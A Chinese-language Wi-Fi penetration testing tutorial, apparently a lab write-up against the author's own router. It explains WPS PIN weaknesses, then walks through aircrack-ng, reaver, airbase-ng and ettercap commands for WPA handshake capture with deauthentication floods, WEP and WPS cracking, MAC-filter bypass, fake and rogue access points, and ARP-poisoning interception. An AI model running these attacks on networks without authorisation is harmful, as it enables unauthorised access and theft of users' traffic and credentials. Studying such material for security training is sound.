0x01 无线基础

基本概念

SSID:又称ESSID是一个无线AP的名称。
BSSID:无线AP的MAC地址,用于数据链路程数据帧传输
信道(频道):无线网络信号在空气中以电磁波传播,他的频率是2.4~2.4835GHz,而这些频段又被化分为11或13个信道(802.11b/g网络标准,普通路由都是这个标准)

通常情况下,默认的信道是“6”,这在单一的无线网络环境中可以正常使用,但如果处于多个无线网络的覆盖范围内,无线路由器都使用默认的信道“6”,肯定会产生冲突的,影响无线网络的性能。
虽然在802.11b/g网络标准中,无线网络的信道虽然可以有13个,但非重叠的信道,也就是不互相干扰的信道只有1、6、11(或13)这三个。

加密方式

WPA-PSK/WPA2-PSK

WPA-PSK/WPA2-PSK安全类型其实是WPA/WPA2的一种简化版本,它是基于共享密钥的WPA模式,安全性很高,设置也比较简单,适合普通家庭用户和小型企业使用。

WPA/WPA2

WPA/WPA2是一种比WEP强大的加密算法,选择这种安全类型,路由器将采用Radius服务器进行身份认证并得到密钥的WPA或WPA2安全模式。由于要架设一台专用的认证服务器,代价比较昂贵且维护也很复杂,所以不推荐普通用户使用此安全类型。

WEP

WEP是Wired Equivalent Privacy的缩写,它是一种基本的加密方法,其安全性不如另外两种安全类型高。选择WEP安全类型,路由器将使用802.11基本的WEP安全模式。 这里需要注意的是因为802.11N不支持此加密方式,如果您选择此加密方式,路由器可能会工作在较低的传输速率上。

加密方法

QSS

QSS又称快速安全设置,通过按下无线路由和无线网卡上的QSS按钮,即可自动建立WPA2级别的安全连接,无需在路由器或网卡管理软件的界面上进行繁琐的设置,大大简化无线安全设置的操作。

WPS

WPS(Wi-Fi Protected Setup,WiFi保护设置),它是由WiFi联盟组织实施的可选认证项目,它主要致力于简化无线网络设置及无线网络加密等工作。一般情况下,用户在新建一个无线网络时,为了保证无线网络的安全,都会对无线网络名称(SSID)和无线加密方式进行设置,即“隐藏SSID”和设置“无线网络连接密码”

WPS PIN码

WPS PIN码的第8位数是一个校验和(checksum),因此黑客只需算出前7位数即可。这样,唯一的PIN码的数量降了一个级次变成了10的7次方,也就是说有1000万种变化。
在 实施PIN的身份识别时,接入点(无线路由器)实际上是要找出这个PIN的前半部分(前4位)和后半部分(后3位)是否正确即可。当第一次PIN认证连接 失败后,路由器会向客户端发回一个EAP-NACK信息,而通过该回应,攻击者将能够确定的PIN前半部或后半部是否正确。换句话说,黑客只需从7位数的 PIN中找出一个4位数的PIN和一个3位数的PIN。这样一来,级次又被降低,从1000万种变化,减少到11000(10的4次方+10的3次方)种 变化。因此,在实际破解尝试中,黑客最多只需试验11000次,平均只需试验大约5500次就能破解。这也证实了在2小时内破解PIN码的可行性。

0x02 渗透思路

WEP加密方式,通过漏洞破解(少见)
开启wps功能的,通过pin码破解
Wpa/wpa2加密,通过抓取握手包,暴力穷举密码破解

0x03 实战演练

网卡:TP-Link TL-WN722N
路由器: D-Link dir-615

0、基本命令

iwconfig          //查看网卡信息、进行配置

iwconfig wlan0mon channel 5         //切换网卡信道

iwconfig wlan0 essid "" key 12345678            //连接无线

iwconfig并不能连接wpa网络,我们需要借助工具 WPA_supplicant
首先配置文件 wpa-supp.conf

# WPA-PSK/TKIP
network={
    ssid="dirua"
    key_mgmt=WPA-PSK
    proto=WPA
    painwise=TKIP
    group=TKIP
    psk="12345678"
}

然后执行

wpa_supplicant -D wext -i wlan0 –c wpa-supp.conf 

1、破解WPA-PSK

连接网卡后Kill掉网卡进程

airmon-ng check kill

然后开启网卡

airmon-ng start wlan0

这时你的网卡名称变为wlan0mon,也有可能不变

进行wifi嗅探,获取到BSSID和ESSID

airodump-ng wlan0mon

选择一个有数据(data列有数据)传输的wifi进行抓包

airodump-ng -c 1 --bssid 20:6B:E7:42:36:C0 -w /wlan/cap/xxx wlan0mon

这里-c是指定信道 -w是你保存抓到的包的目录

下面就是连接此网络的设备,如果没有设备连接我们就没法抓包

然后重新开一个终端进行洪水攻击,获取握手包

aireplay-ng -0 0 -a 20:6B:E7:42:36:C0 wlan0mon

待右上角出现WPA handshake 说明我们已经抓包成功,保存在我们之前指定的目录下

然后跑包进行爆破密码

aircrack-ng -w /wlan/password/pass.txt /wlan/cap/xxx-01.cap

之后只需耐心等待,能不能破解就看你的字典够不够强大了
或者可以利用字典生成器例如chrunch,根据无线特征已知信息生成一些字典

2、隐藏SSID

开启隐藏SSID功能后,无线的名称就被隐藏了

但是我们仍可以利用airodump-ng可以获取到无线信息,只是名称变成了长度

3、MAC地址过滤

airodump-ng -c 2 -a --bssid 00:21:91:D2:8E:25 wlan0

抓包发现连接设备的mac地址

然后修改本机mac地址

ifconfig wlan0mon down
macchanger -m 11:22:32:33:ee:hh wlan0mon
ifconfig wlan0mon up

即可绕过

4、跑包破解WEP

这里我kill掉网卡进程,利用airmon-ng开启网卡监测,发现无法发现连接的设备/抓不到握手包,于是我直接airodump-ng wlan0

airodump-ng wlan0
airodump-ng -c 1 --bssid 20:6B:E7:42:36:C0 -w /wlan/cap/wep wlan0

arp注入攻击

aireplay-ng -3 -b "AP Mac地址" -h "wifi Mac地址" -x 1000 wlan0

这里需要多跑一会,提高ivs值,多抓点包不然不容易破解

破解密码

aircrack-ng -x -f 2 /wlan/cap/wep-*.cap

5、共享式WEP破解

这里是想抓keystream然后伪装成一个共享秘钥认证

aireplay-ng -1 0 -e dirua -y keystream-01-00-21-91-D2-8E-25.xor -a  00:21:91:D2:8E:25 -h aa:aa:aa:aa:aa:aa mon0. aireplay-ng

可以伪装mac地址直接进行连接
但是由于我抓不到keystream,显示broken ska于是没有成功

后面抓取到了keystream进行连接,结果只认证成功了一半,还是没有成功连接

6、破解开启WPS的无线

扫描开启WPS的无线

wash -i wlan0 -C        //或者不加-C

开始跑pin码,容易触发路由器安全机制,需要跑个几天

reaver -i wlan0mon -b C8:3A:35:30:3E:C8 -vv 

如果出错可以加个 -N

7、创建假的接入点

创建一个假的无线

airbase-ng -a AA:AA:AA:AA:AA:AA --essid "dirua" -c 7 wlan0mon

当然我们也可以伪造成一样的MAC地址

8、caffe latte攻击

我们可以利用用户接入我们的假接入点,获取wep秘钥进行破解

首先让客户端连入正常的wep无线
开启假接入点

airbase-ng --essid dirua -c 7 -a 6C:19:8F:BD:28:55 -L -W 1 wlan0mon

这里mac地址最好不要和真的一样,因为如果一样之后也会被airbase发送封包导致无法连接

然后我们向客户端发送解除验证封包

aireplay-ng -0 0 -a 6C:19:8F:BD:28:56 --ignore-negative-one wlan0mon

如果我们的信号更好,用户设备就会连入我们的网络,airbase就会开始进行caffe latte攻击

开启airodump收集数据包

airodump-ng --bssid 6C:19:8F:BD:28:56 -w /wlan/cap/keystream wlan0mon

获取到数据包,就可以像之前一样aircrack破解wep

将airbase的 -L 参数换为 -N 即可进行Hirte攻击,它其实是caffe latte 的扩展,攻击流程与上相同

9、未授权接入点

我们可以利用创建接入点+桥接创造一个后门,绕过无线的安全控制,直接未授权访问

首先我们需要安装一个桥接工具 bridge-utils

apt-get install bridge-utils

brctl addbr Wifi-Bridge         //创建桥接接口命名为Wifi-Bridge

airbase-ng --essid "rouge" -c 11 wlan0

brctl addif Wifi-Bridge eth0
brctl addif Wifi-Bridge at0             //将以太网和airbase-ng创建的at0虚拟接口添加到桥接中

ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up             //启动接口进行桥接

echo 1 > /proc/sys/net/ipv4/ip_forward             //开启内核中的ip转发确保封包被转发

10、中间人攻击

MITM 攻击可能是 WLAN 系统上最有潜力的攻击之一了。实施攻击可以使用不同的配置,我
们会使用最普遍的一个 – 攻击者使用有线 LAN 连接到互联网,并在客户端的网卡上创建了假
的接入点。这个接入点广播的 SSID 和附近的本地热点相似。用户可能碰巧连接到这个假的接
入点(或者由于更高的信号强度理论强制连接,我们之前讨论过) ,并且可能仍旧相信它连
接到正常的接入点上。
攻击者现在可以将所有用户流量转发到互联网上,使用它所创建的有线和无线之间的网桥。
在下面的练习中,我们会模拟这个攻击。

使用ettercap进行arp欺骗

这里把我的物理机作为被攻击机,连接无线
kali中,连接无线网
开启ettercap

ettercap -G

sniff -> unified sniffing -> wlan0 选择网卡
host -> scan for hosts 扫描主机
host -> host list 显示主机
右键将被攻击机(物理机) add to target 1
将网关(路由器)add to target 2
mitm -> arp poisoning 开始arp欺骗

查看一下被攻击机的arp

0.103 是我的kali,也就是说被攻击主机误认为192.168.1.103是它的网关。

我们在kali中开启wireshark抓取wlan0的包

发现0.103的流量都已经被抓取了

这里使用ettercap arp欺骗后,被攻击机将无法上网,因为ettercap自带ip转发功能,为了不会出现两次转发,默认禁用系统的ip转发功能。

我在虚拟机的网段中进行试验,使用eth0可以转发成功,而连接无线使用wlan0后,无法成功转发。。

11、企业级wpa 部署蜜罐

需要利用RADIUS服务器

RADIUS安装/配置

https://www.samba.org/ftp/talloc/talloc-2.17.tar.gz
ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.18.tar.gz

分别安装talloc和freeradius

两者都是解压后进入文件夹

./configure            //安装radius时可能会报openssl的错 可以使用./configure --with-openssl=no
make && make install

我这路由器硬件版本太低。。不支持wpa-enterprise,下次有机会再利用

12、攻击路由器

http://routerpwn.com/
这个网站有各种路由器各个版本的漏洞,可以直接在网站利用